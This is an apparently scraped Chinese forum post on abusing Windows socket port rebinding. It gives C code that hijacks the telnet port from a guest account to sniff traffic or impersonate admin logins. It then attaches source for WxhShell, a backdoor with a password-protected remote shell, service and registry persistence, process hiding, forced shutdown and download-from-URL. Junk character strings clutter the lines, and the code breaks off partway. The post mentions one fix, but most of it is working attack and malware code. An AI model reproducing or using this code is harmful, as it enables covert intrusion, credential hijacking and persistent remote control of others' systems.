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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (Tbw@BFk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ??g`c=R!V  
hrZ=8SrW  
  saddr.sin_family = AF_INET; se,0Rvkt  
7$/%c{o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Kulh:d:w  
HyX:4f|]'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q7-.-k<dQ  
_6/q.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Lr;PESV  
.C7;T'>!  
  这意味着什么?意味着可以进行如下的攻击: 25-5X3(>j=  
GJB= 5nE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e/nc[  
Ljq!\D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dLnu\bSF  
1~_&XNb&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w=K!U]  
c=Y8R/G<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  " +n\0j;  
@!MhVNS_<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o*}--d? S  
ZA! yw7~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SeX:A)*ez%  
?RI&7699+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^V5g[XL2  
D/7hVwMw:  
  #include JAA{5@ST  
  #include 1p]Z9$Y  
  #include IP e"9xb  
  #include    cV+ x.)a.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0A. PfqYi  
  int main() WymBjDos:  
  { wO&2S-;_K  
  WORD wVersionRequested; !v`C-1}70  
  DWORD ret; 6;^ e  
  WSADATA wsaData; TP-<Lhy  
  BOOL val; BMlu>,  
  SOCKADDR_IN saddr; n"P29"  
  SOCKADDR_IN scaddr; NIascee  
  int err; fNllF,8}  
  SOCKET s; .)Af&+KT  
  SOCKET sc; ( /):  
  int caddsize; ``j8T[g  
  HANDLE mt; Y\pRk6,  
  DWORD tid;   z')zV oW,  
  wVersionRequested = MAKEWORD( 2, 2 ); IQ3]fLb  
  err = WSAStartup( wVersionRequested, &wsaData ); ^>H+#@R  
  if ( err != 0 ) { $k= 5nJ  
  printf("error!WSAStartup failed!\n"); x-3!sf@  
  return -1; I X]K "hT  
  } hr)CxsPoRQ  
  saddr.sin_family = AF_INET; u>U4w68  
   \XI9 +::%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A0hfy|1#L  
w:~Y@ b~D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gY=Ry=w9  
  saddr.sin_port = htons(23); SFdSA4D"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nL[ zXl  
  { }G50?"^u  
  printf("error!socket failed!\n"); (K>=!&tlp=  
  return -1; .xIu  
  } oy?>e1Sy*  
  val = TRUE; )rP)-op|A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q[U_ 0O,A9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |loo ^!I  
  { Nr(3!-  
  printf("error!setsockopt failed!\n"); _/iw=-T  
  return -1; /Wqx@#  
  } jj&4Sv#>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1G6MO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  :Ky *AI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eJm7}\/6`  
lxvRF93a.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $4j$c|S!  
  { 5?()o}VjAO  
  ret=GetLastError(); nR()ei^X  
  printf("error!bind failed!\n"); qauZ-Qoc9  
  return -1; w`?Rd  
  } _P]!J~$5  
  listen(s,2); ZJ7<!?6  
  while(1) P4~=_Hh  
  { ggR--`D[  
  caddsize = sizeof(scaddr); 49("$!  
  //接受连接请求 xWa96U[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qn*a#]p  
  if(sc!=INVALID_SOCKET) },=0]tvZG#  
  { `Rc7*2I)l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cIIt ;q[  
  if(mt==NULL) [3#A)#kWm  
  { er[%Nt+99  
  printf("Thread Creat Failed!\n"); /K WR08ftp  
  break; uDZ$'a  
  } s, 8a1o  
  } G\U'_G>  
  CloseHandle(mt); Qf}^x9'  
  } (^Q:zU  
  closesocket(s); w|uO)/v  
  WSACleanup(); rq.S0bzH  
  return 0; O73 /2=1V  
  }   c T!L+z g  
  DWORD WINAPI ClientThread(LPVOID lpParam) S24wv2Uw i  
  { ZPISclSA+  
  SOCKET ss = (SOCKET)lpParam; \\WIu?  
  SOCKET sc; i{$h]D_fD  
  unsigned char buf[4096]; ,z1fiq  
  SOCKADDR_IN saddr; >,JA=s  
  long num; kZ0|wML8  
  DWORD val; -a}d @&  
  DWORD ret; dK45&JHoW^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HcrI3v|6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]-D;t~  
  saddr.sin_family = AF_INET; 1;4 ] HNI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #''q :^EQ  
  saddr.sin_port = htons(23); +[DL]e]@U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bS9<LQ*  
  { 0K&\5xXM  
  printf("error!socket failed!\n"); x\ pC&  
  return -1; +foyPj!%  
  } P K]$D[a0  
  val = 100; 4ZZ/R?AiK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gDmwJr  
  { C98 Ks  
  ret = GetLastError(); V0Z\e _I  
  return -1; u{o!j7  
  } ET&Q}UOE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pkm3&sW  
  { <u"h'e/oW_  
  ret = GetLastError(); $:YJ<HvG<  
  return -1; ~$zodrS9  
  } Uv-xP(X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) osJ;"B36  
  { UO& p2   
  printf("error!socket connect failed!\n"); JERWz~n}  
  closesocket(sc); .i7bI2^  
  closesocket(ss); ^r7-|  
  return -1; W|PKcZ ]Uc  
  } WaV P+Ap  
  while(1) 3KF[ v{  
  { k]n=7vw;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +;}XWV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <V3N!H_d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z]I[?$y  
  num = recv(ss,buf,4096,0); jZm57{C#*?  
  if(num>0) }a(x L'F  
  send(sc,buf,num,0); Y2DR oQ  
  else if(num==0) NY5?T0/[  
  break; K,>D%mJ  
  num = recv(sc,buf,4096,0); ?5%|YsJP_  
  if(num>0) _%)v9}D  
  send(ss,buf,num,0); %#.H FK  
  else if(num==0) !~{AF|2f  
  break; .Jt&6N  
  } dJhT}"x  
  closesocket(ss); WheJ 7~  
  closesocket(sc); ?w}E/(r  
  return 0 ; *CA7 {2CX  
  } :(,Eq?  
i6^COr  
CL^MIcq?  
========================================================== FuZ7xM,  
4s!rrDN  
下边附上一个代码,,WXhSHELL # !?5^O  
0YsC@r47wL  
========================================================== {-sy,EYcw  
>qJRpO  
#include "stdafx.h" ;P-xKRU!Xx  
J^@0Ff;=5^  
#include <stdio.h> `hD\u@5Tw  
#include <string.h> ("t; 2Mw  
#include <windows.h> c1IK9X*  
#include <winsock2.h> u3 mTsq!  
#include <winsvc.h> o9!DK  
#include <urlmon.h> {YCquoF  
EHT5Gf  
#pragma comment (lib, "Ws2_32.lib") <}c`jN!z.  
#pragma comment (lib, "urlmon.lib") <y(uu(c  
F<y5zqGy@  
#define MAX_USER   100 // 最大客户端连接数 ELp @/c=Wr  
#define BUF_SOCK   200 // sock buffer 2WjQ-mM#  
#define KEY_BUFF   255 // 输入 buffer eD0Rv0BV^  
]_S&8F}|  
#define REBOOT     0   // 重启 =o5ZcC  
#define SHUTDOWN   1   // 关机 $Nr :YI  
~;Ga65_6_  
#define DEF_PORT   5000 // 监听端口 ! K~PH  
"YlN_ U  
#define REG_LEN     16   // 注册表键长度 =OIx G}*  
#define SVC_LEN     80   // NT服务名长度 7XE/bhe%S  
p7Yej(B  
// 从dll定义API .[1"Med J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3_Su5~^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JLsy|}>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8v6YOG"b q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -WIT0F4o;  
M"OX NPkc  
// wxhshell配置信息 {89F*  
struct WSCFG { R qS2Qo]  
  int ws_port;         // 监听端口 %@Nuzdp  
  char ws_passstr[REG_LEN]; // 口令 taXS>*|B  
  int ws_autoins;       // 安装标记, 1=yes 0=no cvpcadN[  
  char ws_regname[REG_LEN]; // 注册表键名 E3#}:6m  
  char ws_svcname[REG_LEN]; // 服务名 Y`QJcC(3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kc=&jCn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~y+QL{P4~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %C%~f {4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ed3 *fY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bz[+g,e2oA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Be{7Rj v  
8|A*N< h  
}; O2E6F^.pYw  
qby!  
// default Wxhshell configuration N(v<*jn  
struct WSCFG wscfg={DEF_PORT, 8t!/O p ?  
    "xuhuanlingzhe", ^tIi;7k  
    1, ~Dw.3P:-  
    "Wxhshell", CUB=T]  
    "Wxhshell", pHlw&8(f"  
            "WxhShell Service", Nhv~f0  
    "Wrsky Windows CmdShell Service", 7p&%0'BO1z  
    "Please Input Your Password: ", zE +)oQ,  
  1, (!Q^.C_m  
  "http://www.wrsky.com/wxhshell.exe", q<rB(j-(  
  "Wxhshell.exe" 3&kHAXzM  
    }; y; Up@.IG  
QDS=M]  
// 消息定义模块 *5iNw_&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C6=7zYhR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xX`P-h>V`c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (eI'%1kS<  
char *msg_ws_ext="\n\rExit."; N3Ub|$}q  
char *msg_ws_end="\n\rQuit."; o'@VDGS`  
char *msg_ws_boot="\n\rReboot..."; v V:eU-a  
char *msg_ws_poff="\n\rShutdown..."; jE.U~D)2YF  
char *msg_ws_down="\n\rSave to "; mT;1KE{J{  
T_:"~ ]  
char *msg_ws_err="\n\rErr!";  KTd,^h  
char *msg_ws_ok="\n\rOK!"; yZbO{PMr  
K oPTY^  
char ExeFile[MAX_PATH]; X#<#7.  
int nUser = 0; \+mc   
HANDLE handles[MAX_USER]; |s :b9sfA  
int OsIsNt; XM$r,}B k  
k 41lw^Jh  
SERVICE_STATUS       serviceStatus; UUy|/z%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }3cOZd_,t  
zp>q$e40  
// 函数声明 _8b)Xx@5  
int Install(void); WC,&p  
int Uninstall(void); X62h7?'Pd  
int DownloadFile(char *sURL, SOCKET wsh); 'u$e2^  
int Boot(int flag); 8moX"w\~_h  
void HideProc(void); [)|P-x-<  
int GetOsVer(void); .,[zI@9  
int Wxhshell(SOCKET wsl); ;w@PnY  
void TalkWithClient(void *cs); l9XK;0R9  
int CmdShell(SOCKET sock); ygr[5Tl  
int StartFromService(void); 8 ~.|^no  
int StartWxhshell(LPSTR lpCmdLine); Y9ueE+6  
S+A'\{f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QD%~ A0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Af5O;v\  
zlIXia5  
// 数据结构和表定义 E_]L8UC;m  
SERVICE_TABLE_ENTRY DispatchTable[] = /w{DyHT  
{ L)JpMf0  
{wscfg.ws_svcname, NTServiceMain}, .w^M?}dx  
{NULL, NULL} stz1e dP  
}; ymSGB`CP  
P]-d (N}/H  
// 自我安装 1 ry:Z2  
int Install(void) 09`5<9/  
{ %B` MO-  
  char svExeFile[MAX_PATH]; &GcWv+p  
  HKEY key; RG|]Kt8  
  strcpy(svExeFile,ExeFile); ?V%x94B  
W'6~`t  
// 如果是win9x系统,修改注册表设为自启动 :^FOh*H  
if(!OsIsNt) { /|Za[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EZ*FGt6(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?U:?o_w  
  RegCloseKey(key); O.CRF-` t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "| V{@)!t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j8 nG Gx  
  RegCloseKey(key); )nyud$9w'  
  return 0; MjNCn&c  
    } ^?(A|krFg  
  } @47MJzC  
} &mDKpYrB  
else { #>dfP"}&,  
(Y\aV+9[  
// 如果是NT以上系统,安装为系统服务 3 <RkUmR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LF?83P,UJ#  
if (schSCManager!=0) Zso&.IATng  
{ /rN%y  
  SC_HANDLE schService = CreateService 'h_PJ%  
  ( !1K<iz_8  
  schSCManager, 7!.%HhU0  
  wscfg.ws_svcname, t<sg8U.  
  wscfg.ws_svcdisp, $A,fO~  
  SERVICE_ALL_ACCESS, h7<Zkf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lG,/tMy  
  SERVICE_AUTO_START, pzmm cjEC  
  SERVICE_ERROR_NORMAL, \](IBI:  
  svExeFile, ao>bnRXR  
  NULL, B5pM cw  
  NULL, LGZ5py=xb  
  NULL, 6b4Kcl<i  
  NULL, (nfra,'  
  NULL \9dSI  
  ); u}hQF $a"  
  if (schService!=0) }2-<}m9}  
  { 1BUdl=o>S  
  CloseServiceHandle(schService); {ecmOxKP}  
  CloseServiceHandle(schSCManager); x&7% U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LS@[O])$'  
  strcat(svExeFile,wscfg.ws_svcname); 9B")/Hz_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IO~d.Ra  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K <7#;  
  RegCloseKey(key); EL $"MT}p  
  return 0; saQA:W;  
    } |2(z<b&y=  
  } -q\5)nY  
  CloseServiceHandle(schSCManager); 4Waot  
} p*)RP2  
} !/, 6+2Ru  
N r5 aU6]  
return 1; eYBo*  
} rXXIpQRi$S  
[,)yc/{*  
// 自我卸载 ^l;nBD#nJ  
int Uninstall(void) Z<6xQTx  
{ \^2%v~  
  HKEY key; mz@`*^7?  
j|!.K|9B  
if(!OsIsNt) { 4$J:A~2H]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =A&x d"  
  RegDeleteValue(key,wscfg.ws_regname); YUd*\_  
  RegCloseKey(key); "ut:\%39.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "| w..%Wc  
  RegDeleteValue(key,wscfg.ws_regname); `'9Kj9}   
  RegCloseKey(key); @sv==|h  
  return 0; H S/ 1z  
  } |4//%Ll/  
} g9(zJ  
} 4Z>hP]7  
else { t] LCe\#  
|j53' >N[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *F/uAI^)  
if (schSCManager!=0) B MU@J  
{ ]bCeJE.+)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cn#JO^8  
  if (schService!=0) jV)!9+H#  
  { B~oSKM%8R  
  if(DeleteService(schService)!=0) { HVaWv].  
  CloseServiceHandle(schService); f)hs>F  
  CloseServiceHandle(schSCManager); flp<QT  
  return 0; gv$6\1  
  } V_jVVy30Ji  
  CloseServiceHandle(schService); MVHj?  
  } :UMg5eZ  
  CloseServiceHandle(schSCManager); G%~=hEK0  
} ?T-6|vZA  
} )iadu  
<S I& e/  
return 1; c7T9kV 8hS  
} \7z&iGe!  
Ai\"w0  
// 从指定url下载文件  ,!_  
int DownloadFile(char *sURL, SOCKET wsh) 2h0I1a,7  
{ NfcY30}:  
  HRESULT hr; 7><ne|%  
char seps[]= "/"; o<P@:}K  
char *token; wJ-G7V,)  
char *file;  9],;i7c  
char myURL[MAX_PATH]; 3;=nQ{0b  
char myFILE[MAX_PATH]; :gv`)  
0L10GJ"(  
strcpy(myURL,sURL); yA_;\\  
  token=strtok(myURL,seps); 9i@AOU  
  while(token!=NULL) X1G[&  
  { fU^B 3S6X  
    file=token; HH+R47%*  
  token=strtok(NULL,seps); s>z$_  
  } $@d`Kz;  
`EVTlq@<  
GetCurrentDirectory(MAX_PATH,myFILE); j-|YE?AA  
strcat(myFILE, "\\"); c 2j?<F1  
strcat(myFILE, file); L(Q v78F  
  send(wsh,myFILE,strlen(myFILE),0); r4caIV  
send(wsh,"...",3,0); |`T3H5X>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bep}|8,#u  
  if(hr==S_OK) M>J8J*  
return 0; m&o}qzC'y  
else X&DuX %x0  
return 1; |8}f  
ie+&@u  
} *>%34m93  
):?ype>  
// 系统电源模块 )k0e}  
int Boot(int flag) 2pFOC;tl  
{ c/ %5IhX?  
  HANDLE hToken; 7r?O(0>  
  TOKEN_PRIVILEGES tkp; K0 .f4 o  
_`Ey),c_  
  if(OsIsNt) { K6=-Zf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |Axg}Q|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J'^s5hxn+0  
    tkp.PrivilegeCount = 1; 06*R)siC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2{c ;ELq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %~P]x7%|  
if(flag==REBOOT) { >|SB]'C|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2#&9qGR  
  return 0; hABC rd Em  
} jzV*V<  
else { >U~.I2sz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "{;]T  
  return 0; AWC zu5ve  
} :/ns/~5xa:  
  } Ne*I$T 5  
  else { xjOy3_Js  
if(flag==REBOOT) { vgOmcf%;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Bmi3 =Rr  
  return 0; :xZ/c\  
} pcNVtp 'V  
else { ^ cN-   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _m;cX!+~_  
  return 0; XG<J'3  
} ` _()R`=  
} _dppUUm  
D h]+HF  
return 1; $1oU^V Y  
} >`= '~y8  
FOpOS?Cr'  
// win9x进程隐藏模块 PYr#vOH  
void HideProc(void) VuFM jY  
{ LfyycC2E  
!;lA+O-t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lJoMJS;S]}  
  if ( hKernel != NULL ) &J^@TgqL^  
  { |DfYH~@(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,^O**k9F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |tz1'YOB  
    FreeLibrary(hKernel); },0fPkVsU  
  } ]g3&gw  
{>OuxVl??k  
return; /MTS>[E  
} i\2MphS  
U jVo "K  
// 获取操作系统版本 aW %ulZ  
int GetOsVer(void) l0Jpf9Aue  
{ NFY,$  
  OSVERSIONINFO winfo; KXcG;b[7n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K]zBPfx  
  GetVersionEx(&winfo); FB@c +*1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gqNd@tYI  
  return 1; V'pNo&O=  
  else VZYd CZ&l7  
  return 0; E5 H6&XU  
} jD0^,aiG  
U/,`xA;v>  
// 客户端句柄模块 h+zJ"\  
int Wxhshell(SOCKET wsl) s`Z(f:/6*  
{ Yg/e8Q2  
  SOCKET wsh; JXBW0|8b  
  struct sockaddr_in client; Q`g0g)3w  
  DWORD myID; GB\.msls  
9cFFQM|o  
  while(nUser<MAX_USER) |U1X~\""  
{ *kgbcUf8  
  int nSize=sizeof(client); NWwfNb>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N<Rb<p%  
  if(wsh==INVALID_SOCKET) return 1; /4 RKA!W  
n5 @H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s \#kqw\x  
if(handles[nUser]==0) 2uS&A \   
  closesocket(wsh); ujB:G0'r  
else -`]B4Nt6  
  nUser++; ]jG%<j9A  
  } o; 6\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Po&gr@e.V  
$J[h(>-X  
  return 0; &of%;>$>M  
} Mp?Ev.  
m^U\l9LE  
// 关闭 socket t?28s/?  
void CloseIt(SOCKET wsh) 9/D+6hJ]:  
{ go6Hb>  
closesocket(wsh); a~OCo  
nUser--; ,nMLua\  
ExitThread(0); )<DL'  
} ?ZdHuuDN~  
Mb3,!  
// 客户端请求句柄 +%eMm.(  
void TalkWithClient(void *cs) ,V)yOLApVj  
{ vkE6e6,Qc  
nE]R0|4h  
  SOCKET wsh=(SOCKET)cs; $k@reN9  
  char pwd[SVC_LEN]; 9XF+? x  
  char cmd[KEY_BUFF]; P~;NwHZ?k  
char chr[1]; mn*.z!N=  
int i,j; q ]rsp0P2  
-{pcb7.xuv  
  while (nUser < MAX_USER) { E~2}rK+#)  
3RscuD&  
if(wscfg.ws_passstr) { KmEm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7\JRHw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}R)qz-=5U  
  //ZeroMemory(pwd,KEY_BUFF); PLg`\|  
      i=0; Kx*;!3-V$  
  while(i<SVC_LEN) { W=mh*G3y  
W3{k{~  
  // 设置超时 yXc/Nl%  
  fd_set FdRead; GUmOK=D >  
  struct timeval TimeOut; !s\-i6S>  
  FD_ZERO(&FdRead); @`$8rck`  
  FD_SET(wsh,&FdRead); Eo)Q> AM  
  TimeOut.tv_sec=8; ~8`r.1aUO  
  TimeOut.tv_usec=0; e_g7E+6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0u QqPF t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b,D+1'  
& @^|=>L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DDN#w<#  
  pwd=chr[0]; 5Tb93Q@c  
  if(chr[0]==0xd || chr[0]==0xa) { ff?:_q+.N  
  pwd=0; 65=i`!f  
  break; N#C,_ k  
  } &Dqg<U  
  i++; H ~J#!3  
    } u_e}m>[S  
*<x EM-  
  // 如果是非法用户,关闭 socket /JtKn*?}:>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \W( C=e  
} hn)mNb!  
_tb)F"4V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (O,|1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x V~`sqf  
+aEE(u6%E@  
while(1) { pUYa1=  
MJ8z"SKnV  
  ZeroMemory(cmd,KEY_BUFF); wR@fB  
&0K H00l  
      // 自动支持客户端 telnet标准   4B-v\3Ff  
  j=0; j?g{*M  
  while(j<KEY_BUFF) { wCkhE,#-_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >7@F4a  
  cmd[j]=chr[0]; ,X+mXtg.  
  if(chr[0]==0xa || chr[0]==0xd) { j*q]-$2E  
  cmd[j]=0; p/cVQ  
  break; op"RrZAZBT  
  } My:wA;#  
  j++; 1r\? uD  
    } N#6&t8;kTC  
2y,NT|jp  
  // 下载文件 mj%Iow.  
  if(strstr(cmd,"http://")) { )e4nKh],  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?#rDoYt/Sx  
  if(DownloadFile(cmd,wsh)) $wdIOfaH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a0qm.EN  
  else hCc_+/j|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CcLP/  
  } C*/d%eHD  
  else { n$ axqvG  
PLw;9^<  
    switch(cmd[0]) { p(v+j_ak  
  ^E{~{  
  // 帮助 *'QD!Tc  
  case '?': { @Ej{sC!0T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z./u;/:  
    break; Jf|J":S  
  } F[l{pc "C  
  // 安装 SH<Nt[8C  
  case 'i': { #QXB2x<*  
    if(Install()) elJLTG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Y)$+9  
    else lmp0Ye|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m mu{K$9}I  
    break; *t 3fbD  
    } @L=xY[&{  
  // 卸载 Zvk O#j  
  case 'r': { }Rt?p8p  
    if(Uninstall()) =sG  C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7fURL Rqr  
    else Qg%B<3 <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R8W{[@  
    break; hof:36 <  
    } <FRYt-+  
  // 显示 wxhshell 所在路径 bfQ+}|;  
  case 'p': { b=wc-n A  
    char svExeFile[MAX_PATH]; rMH\;\ I|U  
    strcpy(svExeFile,"\n\r"); GW]Ygf1t  
      strcat(svExeFile,ExeFile); K`M8[ %S  
        send(wsh,svExeFile,strlen(svExeFile),0); @@# ^G8+l  
    break; =BMON{K  
    } ]pzf{8%  
  // 重启 f]qP xRw  
  case 'b': { {3i.U028]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0AZ Vc  
    if(Boot(REBOOT)) `$AX!,<!G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H CZ#7Z  
    else { Vge9AH:op  
    closesocket(wsh); jRm v~]  
    ExitThread(0); MIsjTKE  
    } q#xoM1  
    break; GASDkVoij  
    } $GSn#} yz  
  // 关机 f2`[skNj  
  case 'd': { dli?/U@hO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ww{bh -nyq  
    if(Boot(SHUTDOWN)) ,?3r-bM  
